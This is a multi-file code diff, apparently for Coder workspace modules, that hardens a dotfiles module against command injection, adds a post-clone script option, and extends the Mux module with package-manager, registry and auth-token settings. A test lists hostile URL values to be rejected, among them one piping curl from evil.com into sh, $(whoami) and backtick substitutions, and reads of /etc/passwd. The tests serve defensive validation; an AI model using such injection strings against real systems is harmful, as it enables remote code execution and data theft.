+      "https://github.com/coder/dotfiles",
+      "https://github.com/coder/dotfiles.git",
+      "git@github.com:coder/dotfiles.git",
+      "git://github.com/coder/dotfiles.git",
+      "ssh://git@github.com/coder/dotfiles.git",
+      "ssh://git@bitbucket.example.org:7999/~myusername/dotfiles.git",
+    ];
+    for (const url of validUrls) {
+      const state = await runTerraformApply(import.meta.dir, {
+        agent_id: "foo",
+        dotfiles_uri: url,
+      });
+      expect(state.outputs.dotfiles_uri.value).toBe(url);
+    }
+  });
+
+  it("rejects invalid or malicious URLs", async () => {
+    const invalidUrls = [
+      "https://github.com/user/repo; curl http://evil.com | sh",
+      "https://github.com/$(whoami)/repo",
+      "https://github.com/`id`/repo",
+      "https://github.com/user/repo|cat /etc/passwd",
+      "file:///etc/passwd",
+      "not-a-valid-url",
+    ];
+    for (const url of invalidUrls) {
+      await expect(
+        runTerraformApply(import.meta.dir, {
+          agent_id: "foo",
+          dotfiles_uri: url,
+        }),
+      ).rejects.toThrow();
+    }
  });

  it("set custom order for coder_parameter", async () => {
@@ -29,26 +29,47 @@ variable "agent_id" {
 variable "description" {
  type        = string
  description = "A custom description for the dotfiles parameter. This is shown in the UI - and allows you to customize the instructions you give to your users."
-  default     = "Enter a URL for a [dotfiles repository](https://dotfiles.github.io) to personalize your workspace"
+  default     = "Enter a URL for a [dotfiles repository](https://dotfiles.github.io) to personalize your workspace. Use an SSH URL (e.g. `git@host:user/repo`) if your Git provider restricts HTTPS cloning."
 }

 variable "default_dotfiles_uri" {
  type        = string
  description = "The default dotfiles URI if the workspace user does not provide one"
  default     = ""
+
+  validation {
+    condition = (
+      var.default_dotfiles_uri == "" ||
+      can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@~-]+$", var.default_dotfiles_uri))
+    )
+    error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
+  }
 }

 variable "dotfiles_uri" {
  type        = string
  description = "The URL to a dotfiles repository. (optional, when set, the user isn't prompted for their dotfiles)"
+  default     = null

-  default = null
+  validation {
+    condition = (
+      var.dotfiles_uri == null ||
+      var.dotfiles_uri == "" ||
+      can(regex("^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@~-]+$", var.dotfiles_uri))
+    )
+    error_message = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
+  }
 }

 variable "user" {
  type        = string
  description = "The name of the user to apply the dotfiles to. (optional, applies to the current user by default)"
  default     = null
+
+  validation {
+    condition     = var.user == null || can(regex("^[a-zA-Z_][a-zA-Z0-9_-]*$", var.user))
+    error_message = "Must be a valid username without special characters."
+  }
 }

 variable "coder_parameter_order" {
@@ -63,6 +84,12 @@ variable "manual_update" {
  default     = false
 }

+variable "post_clone_script" {
+  description = "Custom script to run after applying dotfiles. Runs every time, even if dotfiles were already applied."
+  type        = string
+  default     = null
+}
+
 data "coder_parameter" "dotfiles_uri" {
  count        = var.dotfiles_uri == null ? 1 : 0
  type         = "string"
@@ -73,18 +100,25 @@ data "coder_parameter" "dotfiles_uri" {
  description  = var.description
  mutable      = true
  icon         = "/icon/dotfiles.svg"
+
+  validation {
+    regex = "^$|^(https?://|ssh://|git@|git://)[a-zA-Z0-9._/:@~-]+$"
+    error = "Must be a valid dotfiles repository URL (https, git@, or git://) without special characters."
+  }
 }

 locals {
-  dotfiles_uri = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value
-  user         = var.user != null ? var.user : ""
+  dotfiles_uri              = var.dotfiles_uri != null ? var.dotfiles_uri : data.coder_parameter.dotfiles_uri[0].value
+  user                      = var.user != null ? var.user : ""
+  encoded_post_clone_script = var.post_clone_script != null ? base64encode(var.post_clone_script) : ""
 }

 resource "coder_script" "dotfiles" {
  agent_id = var.agent_id
  script = templatefile("${path.module}/run.sh", {
    DOTFILES_URI : local.dotfiles_uri,
-    DOTFILES_USER : local.user
+    DOTFILES_USER : local.user,
+    POST_CLONE_SCRIPT : local.encoded_post_clone_script
  })
  display_name = "Dotfiles"
  icon         = "/icon/dotfiles.svg"
@@ -101,7 +135,8 @@ resource "coder_app" "dotfiles" {
  group        = var.group
  command = templatefile("${path.module}/run.sh", {
    DOTFILES_URI : local.dotfiles_uri,
-    DOTFILES_USER : local.user
+    DOTFILES_USER : local.user,
+    POST_CLONE_SCRIPT : local.encoded_post_clone_script
  })
 }

@@ -5,6 +5,19 @@ set -euo pipefail
 DOTFILES_URI="${DOTFILES_URI}"
 DOTFILES_USER="${DOTFILES_USER}"

+# Validate DOTFILES_URI to prevent command injection (defense in depth)
+if [ -n "$DOTFILES_URI" ]; then
+  # shellcheck disable=SC2250
+  if [[ "$DOTFILES_URI" =~ [^a-zA-Z0-9._/:@-] ]]; then
+    echo "ERROR: DOTFILES_URI contains invalid characters" >&2
+    exit 1
+  fi
+  if ! [[ "$DOTFILES_URI" =~ ^(https?://|ssh://|git@|git://) ]]; then
+    echo "ERROR: DOTFILES_URI must be a valid repository URL (https://, http://, ssh://, git@, or git://)" >&2
+    exit 1
+  fi
+fi
+
 # shellcheck disable=SC2157
 if [ -n "$${DOTFILES_URI// }" ]; then
  if [ -z "$DOTFILES_USER" ]; then
@@ -16,12 +29,28 @@ if [ -n "$${DOTFILES_URI// }" ]; then
  if [ "$DOTFILES_USER" = "$USER" ]; then
    coder dotfiles "$DOTFILES_URI" -y 2>&1 | tee ~/.dotfiles.log
  else
-    # The `eval echo ~"$DOTFILES_USER"` part is used to dynamically get the home directory of the user, see https://superuser.com/a/484280
-    # eval echo ~coder -> "/home/coder"
-    # eval echo ~root  -> "/root"
+    if command -v getent > /dev/null 2>&1; then
+      DOTFILES_USER_HOME=$(getent passwd "$DOTFILES_USER" | cut -d: -f6)
+    else
+      DOTFILES_USER_HOME=$(awk -F: -v user="$DOTFILES_USER" '$1 == user {print $6}' /etc/passwd)
+    fi
+    if [ -z "$DOTFILES_USER_HOME" ]; then
+      echo "ERROR: Could not determine home directory for user $DOTFILES_USER" >&2
+      exit 1
+    fi

-    CODER_BIN=$(which coder)
-    DOTFILES_USER_HOME=$(eval echo ~"$DOTFILES_USER")
-    sudo -u "$DOTFILES_USER" sh -c "'$CODER_BIN' dotfiles '$DOTFILES_URI' -y 2>&1 | tee '$DOTFILES_USER_HOME'/.dotfiles.log"
+    CODER_BIN=$(command -v coder)
+    sudo -u "$DOTFILES_USER" "$CODER_BIN" dotfiles "$DOTFILES_URI" -y 2>&1 | tee "$DOTFILES_USER_HOME/.dotfiles.log"
  fi
 fi
+
+POST_CLONE_SCRIPT="${POST_CLONE_SCRIPT}"
+
+if [ -n "$POST_CLONE_SCRIPT" ]; then
+  echo "Running post-clone script..."
+  POST_CLONE_TMP=$(mktemp)
+  echo "$POST_CLONE_SCRIPT" | base64 -d > "$POST_CLONE_TMP"
+  chmod +x "$POST_CLONE_TMP"
+  $POST_CLONE_TMP
+  rm "$POST_CLONE_TMP"
+fi
@@ -14,7 +14,7 @@ Runs a script that updates git credentials in the workspace to match the user's
 module "git-config" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/git-config/coder"
-  version  = "1.0.32"
+  version  = "1.0.33"
  agent_id = coder_agent.main.id
 }
 ```
@@ -29,7 +29,7 @@ TODO: Add screenshot
 module "git-config" {
  count              = data.coder_workspace.me.start_count
  source             = "registry.coder.com/coder/git-config/coder"
-  version            = "1.0.32"
+  version            = "1.0.33"
  agent_id           = coder_agent.main.id
  allow_email_change = true
 }
@@ -43,7 +43,7 @@ TODO: Add screenshot
 module "git-config" {
  count                 = data.coder_workspace.me.start_count
  source                = "registry.coder.com/coder/git-config/coder"
-  version               = "1.0.32"
+  version               = "1.0.33"
  agent_id              = coder_agent.main.id
  allow_username_change = false
  allow_email_change    = false
@@ -44,6 +44,9 @@ data "coder_parameter" "user_email" {
  description  = "Git user.email to be used for commits. Leave empty to default to Coder user's email."
  display_name = "Git config user.email"
  mutable      = true
+  styling = jsonencode({
+    placeholder = data.coder_workspace_owner.me.email
+  })
 }

 data "coder_parameter" "username" {
@@ -55,6 +58,9 @@ data "coder_parameter" "username" {
  description  = "Git user.name to be used for commits. Leave empty to default to Coder user's Full Name."
  display_name = "Full Name for Git config"
  mutable      = true
+  styling = jsonencode({
+    placeholder = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name)
+  })
 }

 resource "coder_env" "git_author_name" {
@@ -42,7 +42,7 @@ module "jetbrains" {
  version  = "1.3.0"
  agent_id = coder_agent.main.id
  folder   = "/home/coder/project"
-  default  = ["PY", "IU"] # Pre-configure GoLand and IntelliJ IDEA
+  default  = ["PY", "IU"] # Pre-configure PyCharm and IntelliJ IDEA
 }
 ```

@@ -16,7 +16,7 @@ A module that adds JupyterLab in your Coder template.
 module "jupyterlab" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/jupyterlab/coder"
-  version  = "1.2.1"
+  version  = "1.2.2"
  agent_id = coder_agent.main.id
 }
 ```
@@ -29,7 +29,7 @@ JupyterLab is automatically configured to work with Coder's iframe embedding. Fo
 module "jupyterlab" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/jupyterlab/coder"
-  version  = "1.2.1"
+  version  = "1.2.2"
  agent_id = coder_agent.main.id
  config = {
    ServerApp = {
@@ -77,7 +77,7 @@ describe("jupyterlab", async () => {
    expect(output.exitCode).toBe(1);
    expect(output.stdout).toEqual([
      "Checking for a supported installer",
-      "No valid installer is not installed",
+      "No supported installer found.",
      "Please install pipx or uv in your Dockerfile/VM image before running this script",
    ]);
  });
@@ -14,7 +14,7 @@ check_available_installer() {
    INSTALLER="uv"
    return
  fi
-  echo "No valid installer is not installed"
+  echo "No supported installer found."
  echo "Please install pipx or uv in your Dockerfile/VM image before running this script"
  exit 1
 }
@@ -14,7 +14,7 @@ Automatically install [KasmVNC](https://kasmweb.com/kasmvnc) in a workspace, and
 module "kasmvnc" {
  count               = data.coder_workspace.me.start_count
  source              = "registry.coder.com/coder/kasmvnc/coder"
-  version             = "1.2.7"
+  version             = "1.3.0"
  agent_id            = coder_agent.example.id
  desktop_environment = "xfce"
  subdomain           = true
@@ -54,6 +54,15 @@ variable "subdomain" {
  description = "Is subdomain sharing enabled in your cluster?"
 }

+variable "share" {
+  type    = string
+  default = "owner"
+  validation {
+    condition     = var.share == "owner" || var.share == "authenticated" || var.share == "public"
+    error_message = "Incorrect value. Please set either 'owner', 'authenticated', or 'public'."
+  }
+}
+
 resource "coder_script" "kasm_vnc" {
  agent_id     = var.agent_id
  display_name = "KasmVNC"
@@ -75,7 +84,7 @@ resource "coder_app" "kasm_vnc" {
  url          = "http://localhost:${var.port}"
  icon         = "/icon/kasmvnc.svg"
  subdomain    = var.subdomain
-  share        = "owner"
+  share        = var.share
  order        = var.order
  group        = var.group

@@ -18,7 +18,7 @@ Uses the [Coder Remote VS Code Extension](https://github.com/coder/vscode-coder)
 module "kiro" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/kiro/coder"
-  version  = "1.2.0"
+  version  = "1.2.1"
  agent_id = coder_agent.main.id
 }
 ```
@@ -31,7 +31,7 @@ module "kiro" {
 module "kiro" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/kiro/coder"
-  version  = "1.2.0"
+  version  = "1.2.1"
  agent_id = coder_agent.main.id
  folder   = "/home/coder/project"
 }
@@ -47,7 +47,7 @@ The following example configures Kiro to use the GitHub MCP server with authenti
 module "kiro" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/kiro/coder"
-  version  = "1.2.0"
+  version  = "1.2.1"
  agent_id = coder_agent.main.id
  folder   = "/home/coder/project"
  mcp = jsonencode({
@@ -53,7 +53,7 @@ locals {

 module "vscode-desktop-core" {
  source  = "registry.coder.com/coder/vscode-desktop-core/coder"
-  version = "1.0.0"
+  version = "1.0.2"

  agent_id = var.agent_id

@@ -8,13 +8,13 @@ tags: [ai, agents, development, multiplexer]

 # Mux

-Automatically install and run [Mux](https://github.com/coder/mux) in a Coder workspace. By default, the module installs `mux@next` from npm (with a fallback to downloading the npm tarball if npm is unavailable). Mux is a desktop application for parallel agentic development that enables developers to run multiple AI agents simultaneously across isolated workspaces.
+Automatically install and run [Mux](https://github.com/coder/mux) in a Coder workspace. By default, the module auto-detects an available package manager (`npm`, `pnpm`, or `bun`) to install `mux@next` (with a fallback to downloading the npm tarball if none is found). You can also force a specific package manager via `package_manager` and point to a custom registry with `registry_url`. Mux is a desktop application for parallel agentic development that enables developers to run multiple AI agents simultaneously across isolated workspaces.

 ```tf
 module "mux" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/mux/coder"
-  version  = "1.0.8"
+  version  = "1.3.1"
  agent_id = coder_agent.main.id
 }
 ```
@@ -37,7 +37,7 @@ module "mux" {
 module "mux" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/mux/coder"
-  version  = "1.0.8"
+  version  = "1.3.1"
  agent_id = coder_agent.main.id
 }
 ```
@@ -48,7 +48,7 @@ module "mux" {
 module "mux" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/mux/coder"
-  version  = "1.0.8"
+  version  = "1.3.1"
  agent_id = coder_agent.main.id
  # Default is "latest"; set to a specific version to pin
  install_version = "0.4.0"
@@ -63,9 +63,24 @@ Start Mux with `mux server --add-project /path/to/project`:
 module "mux" {
  count       = data.coder_workspace.me.start_count
  source      = "registry.coder.com/coder/mux/coder"
-  version     = "1.0.8"
+  version     = "1.3.1"
  agent_id    = coder_agent.main.id
-  add-project = "/path/to/project"
+  add_project = "/path/to/project"
+}
+```
+
+### Pass Arbitrary `mux server` Arguments
+
+Use `additional_arguments` to append additional arguments to `mux server`.
+The module parses quoted values, so grouped arguments remain intact.
+
+```tf
+module "mux" {
+  count                = data.coder_workspace.me.start_count
+  source               = "registry.coder.com/coder/mux/coder"
+  version              = "1.3.1"
+  agent_id             = coder_agent.main.id
+  additional_arguments = "--open-mode pinned --add-project '/workspaces/my repo'"
 }
 ```

@@ -75,12 +90,40 @@ module "mux" {
 module "mux" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/mux/coder"
-  version  = "1.0.8"
+  version  = "1.3.1"
  agent_id = coder_agent.main.id
  port     = 8080
 }
 ```

+### Custom Package Manager
+
+Force a specific package manager instead of auto-detection:
+
+```tf
+module "mux" {
+  count           = data.coder_workspace.me.start_count
+  source          = "registry.coder.com/coder/mux/coder"
+  version         = "1.3.1"
+  agent_id        = coder_agent.main.id
+  package_manager = "pnpm" # or "npm", "bun"
+}
+```
+
+### Custom Registry
+
+Use a private or mirrored npm registry:
+
+```tf
+module "mux" {
+  count        = data.coder_workspace.me.start_count
+  source       = "registry.coder.com/coder/mux/coder"
+  version      = "1.3.1"
+  agent_id     = coder_agent.main.id
+  registry_url = "https://npm.pkg.github.com"
+}
+```
+
 ### Use Cached Installation

 Run an existing copy of Mux if found, otherwise install from npm:
@@ -89,7 +132,7 @@ Run an existing copy of Mux if found, otherwise install from npm:
 module "mux" {
  count      = data.coder_workspace.me.start_count
  source     = "registry.coder.com/coder/mux/coder"
-  version    = "1.0.8"
+  version    = "1.3.1"
  agent_id   = coder_agent.main.id
  use_cached = true
 }
@@ -103,7 +146,7 @@ Run without installing from the network (requires Mux to be pre-installed):
 module "mux" {
  count    = data.coder_workspace.me.start_count
  source   = "registry.coder.com/coder/mux/coder"
-  version  = "1.0.8"
+  version  = "1.3.1"
  agent_id = coder_agent.main.id
  install  = false
 }
@@ -117,4 +160,6 @@ module "mux" {

 - Mux is currently in preview and you may encounter bugs
 - Requires internet connectivity for agent operations (unless `install` is set to false)
- Installs `mux@next` from npm by default (falls back to the npm tarball if npm is unavailable)
+- Auto-detects `npm`, `pnpm`, or `bun` by default; set `package_manager` to force a specific one
+- Installs `mux@next` from the npm registry by default; set `registry_url` to use a private or mirrored registry
+- Falls back to a direct tarball download when no package manager is found
@@ -1,6 +1,11 @@
 import { describe, expect, it } from "bun:test";
 import {
  executeScriptInContainer,
+  execContainer,
+  findResourceInstance,
+  readFileContainer,
+  removeContainer,
+  runContainer,
  runTerraformApply,
  runTerraformInit,
  testRequiredVariables,
@@ -30,7 +35,7 @@ describe("mux", async () => {
    }
    expect(output.exitCode).toBe(0);
    const expectedLines = [
-      "📥 npm not found; downloading tarball from npm registry...",
+      "📥 No package manager found; downloading tarball from registry...",
      "🥳 mux has been installed in /tmp/mux",
      "🚀 Starting mux server on port 4000...",
      "Check logs at /tmp/mux.log!",
@@ -40,6 +45,57 @@ describe("mux", async () => {
    }
  }, 60000);

+  it("parses custom additional_arguments", async () => {
+    const state = await runTerraformApply(import.meta.dir, {
+      agent_id: "foo",
+      install: false,
+      log_path: "/tmp/mux.log",
+      additional_arguments:
+        "--open-mode pinned --add-project '/workspaces/my repo'",
+    });
+
+    const instance = findResourceInstance(state, "coder_script");
+    const id = await runContainer("alpine/curl");
+
+    try {
+      const setup = await execContainer(id, [
+        "sh",
+        "-c",
+        `apk add --no-cache bash >/dev/null
+mkdir -p /tmp/mux
+cat <<'EOF' > /tmp/mux/mux
+#!/usr/bin/env sh
+i=1
+for arg in "$@"; do
+  echo "arg$i=$arg"
+  i=$((i + 1))
+done
+EOF
+chmod +x /tmp/mux/mux`,
+      ]);
+      expect(setup.exitCode).toBe(0);
+
+      const output = await execContainer(id, ["sh", "-c", instance.script]);
+      if (output.exitCode !== 0) {
+        console.log("STDOUT:\n" + output.stdout);
+        console.log("STDERR:\n" + output.stderr);
+      }
+      expect(output.exitCode).toBe(0);
+
+      await execContainer(id, ["sh", "-c", "sleep 1"]);
+      const log = await readFileContainer(id, "/tmp/mux.log");
+      expect(log).toContain("arg1=server");
+      expect(log).toContain("arg2=--port");
+      expect(log).toContain("arg3=4000");
+      expect(log).toContain("arg4=--open-mode");
+      expect(log).toContain("arg5=pinned");
+      expect(log).toContain("arg6=--add-project");
+      expect(log).toContain("arg7=/workspaces/my repo");
+    } finally {
+      await removeContainer(id);
+    }
+  }, 60000);
+
  it("runs with npm present", async () => {
    const state = await runTerraformApply(import.meta.dir, {
      agent_id: "foo",
@@ -55,7 +111,7 @@ describe("mux", async () => {
    expect(output.exitCode).toBe(0);
    const expectedLines = [
      "📦 Installing mux via npm into /tmp/mux...",
-      "⏭️  Skipping npm lifecycle scripts with --ignore-scripts",
+      "⏭️  Skipping lifecycle scripts with --ignore-scripts",
      "🥳 mux has been installed in /tmp/mux",
      "🚀 Starting mux server on port 4000...",
      "Check logs at /tmp/mux.log!",
@@ -7,6 +7,10 @@ terraform {
      source  = "coder/coder"
      version = ">= 2.5"
    }
+    random = {
+      source  = "hashicorp/random"
+      version = ">= 3.0"
+    }
  }
 }

@@ -45,18 +49,41 @@ variable "log_path" {
  default     = "/tmp/mux.log"
 }

-variable "add-project" {
+variable "add_project" {
  type        = string
  description = "Optional path to add/open as a project in Mux on startup."
  default     = null
 }

+variable "additional_arguments" {
+  type        = string
+  description = "Additional command-line arguments to pass to `mux server` (for example: `--add-project /path --open-mode pinned`)."
+  default     = ""
+}
+
 variable "install_version" {
  type        = string
  description = "The version or dist-tag of Mux to install."
  default     = "next"
 }

+variable "package_manager" {
+  type        = string
+  description = "Package manager to install Mux. 'auto' detects npm, pnpm, or bun (falling back to tarball download). Set to 'npm', 'pnpm', or 'bun' to force a specific one."
+  default     = "auto"
+  validation {
+    condition     = contains(["auto", "npm", "pnpm", "bun"], var.package_manager)
+    error_message = "The 'package_manager' variable must be one of: 'auto', 'npm', 'pnpm', 'bun'."
+  }
+}
+
+variable "registry_url" {
+  type        = string
+  description = "The npm-compatible registry URL to install Mux from. Override this for private registries or mirrors."
+  default     = "https://registry.npmjs.org"
+}
+
+
 variable "share" {
  type    = string
  default = "owner"
@@ -113,6 +140,23 @@ variable "open_in" {
  }
 }

+# Per-module auth token for cross-site request protection.
+# We pass this token into each mux process at launch time (process-scoped env)
+# and include it in the app URL query string (?token=...).
+#
+# Why process-scoped env instead of a shared coder_env value:
+# multiple mux module instances can target the same agent (different slug/port).
+# A single global MUX_SERVER_AUTH_TOKEN env key would cause collisions.
+resource "random_password" "mux_auth_token" {
+  length  = 64
+  special = false
+}
+
+locals {
+  mux_auth_token = random_password.mux_auth_token.result
+  registry_url   = trimsuffix(var.registry_url, "/")
+}
+
 resource "coder_script" "mux" {
  agent_id     = var.agent_id
  display_name = var.display_name
@@ -121,10 +165,14 @@ resource "coder_script" "mux" {
    VERSION : var.install_version,
    PORT : var.port,
    LOG_PATH : var.log_path,
-    ADD_PROJECT : var.add-project == null ? "" : var.add-project,
+    ADD_PROJECT : var.add_project == null ? "" : var.add_project,
+    ADDITIONAL_ARGUMENTS : var.additional_arguments,
    INSTALL_PREFIX : var.install_prefix,
    OFFLINE : !var.install,
    USE_CACHED : var.use_cached,
+    AUTH_TOKEN : local.mux_auth_token,
+    PACKAGE_MANAGER : var.package_manager,
+    REGISTRY_URL : local.registry_url,
  })
  run_on_start = true

@@ -140,7 +188,7 @@ resource "coder_app" "mux" {
  agent_id     = var.agent_id
  slug         = var.slug
  display_name = var.display_name
-  url          = "http://localhost:${var.port}"
+  url          = "http://localhost:${var.port}?token=${local.mux_auth_token}"
  icon         = "/icon/mux.svg"
  subdomain    = var.subdomain
  share        = var.share
@@ -154,5 +202,3 @@ resource "coder_app" "mux" {
    threshold = 6
  }
 }
-
-
@@ -20,8 +20,10 @@ run "install_false_and_use_cached_conflict" {
  ]
 }

+# Needs command = apply because the URL contains random_password.result,
+# which is unknown during plan.
 run "custom_port" {
-  command = plan
+  command = apply

  variables {
    agent_id = "foo"
@@ -29,8 +31,65 @@ run "custom_port" {
  }

  assert {
-    condition     = resource.coder_app.mux.url == "http://localhost:8080"
-    error_message = "coder_app URL must use the configured port"
+    condition     = startswith(resource.coder_app.mux.url, "http://localhost:8080?token=")
+    error_message = "coder_app URL must use the configured port and include auth token"
+  }
+
+  assert {
+    condition     = trimprefix(resource.coder_app.mux.url, "http://localhost:8080?token=") == random_password.mux_auth_token.result
+    error_message = "URL token must match the generated auth token"
+  }
+}
+
+# Needs command = apply because random_password.result is unknown during plan.
+run "auth_token_in_server_script" {
+  command = apply
+
+  variables {
+    agent_id = "foo"
+  }
+
+  assert {
+    condition     = strcontains(resource.coder_script.mux.script, "MUX_SERVER_AUTH_TOKEN=")
+    error_message = "mux launch script must set MUX_SERVER_AUTH_TOKEN"
+  }
+
+  assert {
+    condition     = strcontains(resource.coder_script.mux.script, random_password.mux_auth_token.result)
+    error_message = "mux launch script must use the generated auth token"
+  }
+}
+
+# Needs command = apply because random_password.result is unknown during plan.
+run "auth_token_in_url" {
+  command = apply
+
+  variables {
+    agent_id = "foo"
+  }
+
+  assert {
+    condition     = startswith(resource.coder_app.mux.url, "http://localhost:4000?token=")
+    error_message = "coder_app URL must include auth token query parameter"
+  }
+
+  assert {
+    condition     = trimprefix(resource.coder_app.mux.url, "http://localhost:4000?token=") == random_password.mux_auth_token.result
+    error_message = "URL token must match the generated auth token"
+  }
+}
+
+run "custom_additional_arguments" {
+  command = plan
+
+  variables {
+    agent_id             = "foo"
+    additional_arguments = "--open-mode pinned --add-project '/workspaces/my repo'"
+  }
+
+  assert {
+    condition     = strcontains(resource.coder_script.mux.script, "--open-mode pinned --add-project '/workspaces/my repo'")
+    error_message = "mux launch script must include the configured additional arguments"
  }
 }

@@ -63,4 +122,95 @@ run "use_cached_only_success" {
  }
 }

+# Custom package_manager should appear in generated script
+run "custom_package_manager_npm" {
+  command = plan
+
+  variables {
+    agent_id        = "foo"
+    package_manager = "npm"
+  }
+
+  assert {
+    condition     = strcontains(resource.coder_script.mux.script, "PM_CMD=\"npm\"")
+    error_message = "mux script must set PM_CMD to the configured package manager"
+  }
+}
+
+run "custom_package_manager_pnpm" {
+  command = plan
+
+  variables {
+    agent_id        = "foo"
+    package_manager = "pnpm"
+  }
+
+  assert {
+    condition     = strcontains(resource.coder_script.mux.script, "PM_CMD=\"pnpm\"")
+    error_message = "mux script must set PM_CMD to the configured package manager"
+  }
+}
+
+run "custom_package_manager_bun" {
+  command = plan
+
+  variables {
+    agent_id        = "foo"
+    package_manager = "bun"
+  }
+
+  assert {
+    condition     = strcontains(resource.coder_script.mux.script, "PM_CMD=\"bun\"")
+    error_message = "mux script must set PM_CMD to the configured package manager"
+  }
+}
+
+# Invalid package_manager should fail validation
+run "invalid_package_manager" {
+  command = plan
+
+  variables {
+    agent_id        = "foo"
+    package_manager = "yarn"
+  }
+
+  expect_failures = [
+    var.package_manager
+  ]
+}
+
+# Custom registry_url should appear in generated script
+run "custom_registry_url" {
+  command = plan
+
+  variables {
+    agent_id     = "foo"
+    registry_url = "https://npm.example.com"
+  }
+
+  assert {
+    condition     = strcontains(resource.coder_script.mux.script, "https://npm.example.com")
+    error_message = "mux script must use the configured registry URL"
+  }
+
+  assert {
+    condition     = !strcontains(resource.coder_script.mux.script, "registry.npmjs.org")
+    error_message = "mux script must not contain hardcoded registry.npmjs.org when custom registry is set"
+  }
+}
+
+# registry_url trailing slash should be stripped
+run "registry_url_trailing_slash" {
+  command = plan
+
+  variables {
+    agent_id     = "foo"
+    registry_url = "https://npm.example.com/"
+  }
+
+  assert {
+    condition     = strcontains(resource.coder_script.mux.script, "https://npm.example.com/mux/")
+    error_message = "registry URL trailing slash must be stripped to avoid double slashes"
+  }
+}

@@ -9,7 +9,9 @@ function run_mux() {
  rm -f "$HOME/.mux/server.lock"

  local port_value
+  local auth_token_value
  port_value="${PORT}"
+  auth_token_value="${AUTH_TOKEN}"
  if [ -z "$port_value" ]; then
    port_value="4000"
  fi
@@ -18,9 +20,25 @@ function run_mux() {
  if [ -n "${ADD_PROJECT}" ]; then
    set -- "$@" --add-project "${ADD_PROJECT}"
  fi
+
+  # Parse additional user-supplied server arguments while preserving quoted groups.
+  if [ -n "${ADDITIONAL_ARGUMENTS}" ]; then
+    local parsed_additional_arguments
+    if ! parsed_additional_arguments="$(printf "%s\n" "${ADDITIONAL_ARGUMENTS}" | xargs -n1 printf "%s\n" 2> /dev/null)"; then
+      echo "❌ Failed to parse additional_arguments. Ensure quotes are balanced."
+      exit 1
+    fi
+    while IFS= read -r parsed_arg; do
+      [ -n "$parsed_arg" ] || continue
+      set -- "$@" "$parsed_arg"
+    done << EOF
+$${parsed_additional_arguments}
+EOF
+  fi
+
  echo "🚀 Starting mux server on port $port_value..."
  echo "Check logs at ${LOG_PATH}!"
-  PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 &
+  MUX_SERVER_AUTH_TOKEN="$auth_token_value" PORT="$port_value" "$MUX_BINARY" "$@" > "${LOG_PATH}" 2>&1 &
 }

 # Check if mux is already installed for offline mode
@@ -36,7 +54,7 @@ fi

 # If there is no cached install OR we don't want to use a cached install
 if [ ! -f "$MUX_BINARY" ] || [ "${USE_CACHED}" != true ]; then
-  printf "$${BOLD}Installing mux from npm...\n"
+  printf "$${BOLD}Installing mux...\n"

  # Clean up from other install (in case install prefix changed).
  if [ -n "$CODER_SCRIPT_BIN_DIR" ] && [ -e "$CODER_SCRIPT_BIN_DIR/mux" ]; then
@@ -45,41 +63,76 @@ if [ ! -f "$MUX_BINARY" ] || [ "${USE_CACHED}" != true ]; then

  mkdir -p "$(dirname "$MUX_BINARY")"

-  if command -v npm > /dev/null 2>&1; then
-    echo "📦 Installing mux via npm into ${INSTALL_PREFIX}..."
+  # Determine which package manager to use
+  PM_CMD=""
+  if [ "${PACKAGE_MANAGER}" = "auto" ]; then
+    for pm in npm pnpm bun; do
+      if command -v "$pm" > /dev/null 2>&1; then
+        PM_CMD="$pm"
+        break
+      fi
+    done
+  else
+    PM_CMD="${PACKAGE_MANAGER}"
+    if ! command -v "$PM_CMD" > /dev/null 2>&1; then
+      echo "❌ Configured package manager '${PACKAGE_MANAGER}' not found on PATH"
+      exit 1
+    fi
+  fi
+
+  if [ -n "$PM_CMD" ]; then
+    echo "📦 Installing mux via $PM_CMD into ${INSTALL_PREFIX}..."
    NPM_WORKDIR="${INSTALL_PREFIX}/npm"
    mkdir -p "$NPM_WORKDIR"
    cd "$NPM_WORKDIR" || exit 1
    if [ ! -f package.json ]; then
      echo '{}' > package.json
    fi
-    echo "⏭️  Skipping npm lifecycle scripts with --ignore-scripts"
+    echo "⏭️  Skipping lifecycle scripts with --ignore-scripts"
    PKG="mux"
    if [ -z "${VERSION}" ] || [ "${VERSION}" = "latest" ]; then
      PKG_SPEC="$PKG@latest"
    else
      PKG_SPEC="$PKG@${VERSION}"
    fi
-    if ! npm install --no-audit --no-fund --omit=dev --ignore-scripts "$PKG_SPEC"; then
-      echo "❌ Failed to install mux via npm"
+    INSTALL_OK=true
+    case "$PM_CMD" in
+      npm)
+        if ! npm install --no-audit --no-fund --omit=dev --ignore-scripts --registry "${REGISTRY_URL}" "$PKG_SPEC"; then
+          INSTALL_OK=false
+        fi
+        ;;
+      pnpm)
+        if ! pnpm add --ignore-scripts --registry "${REGISTRY_URL}" "$PKG_SPEC"; then
+          INSTALL_OK=false
+        fi
+        ;;
+      bun)
+        if ! bun add --ignore-scripts --registry "${REGISTRY_URL}" "$PKG_SPEC"; then
+          INSTALL_OK=false
+        fi
+        ;;
+    esac
+    if [ "$INSTALL_OK" != true ]; then
+      echo "❌ Failed to install mux via $PM_CMD"
      exit 1
    fi
    # Determine the installed binary path
    BIN_DIR="$NPM_WORKDIR/node_modules/.bin"
    CANDIDATE="$BIN_DIR/mux"
    if [ ! -f "$CANDIDATE" ]; then
-      echo "❌ Could not locate mux binary after npm install"
+      echo "❌ Could not locate mux binary after $PM_CMD install"
      exit 1
    fi
    chmod +x "$CANDIDATE" || true
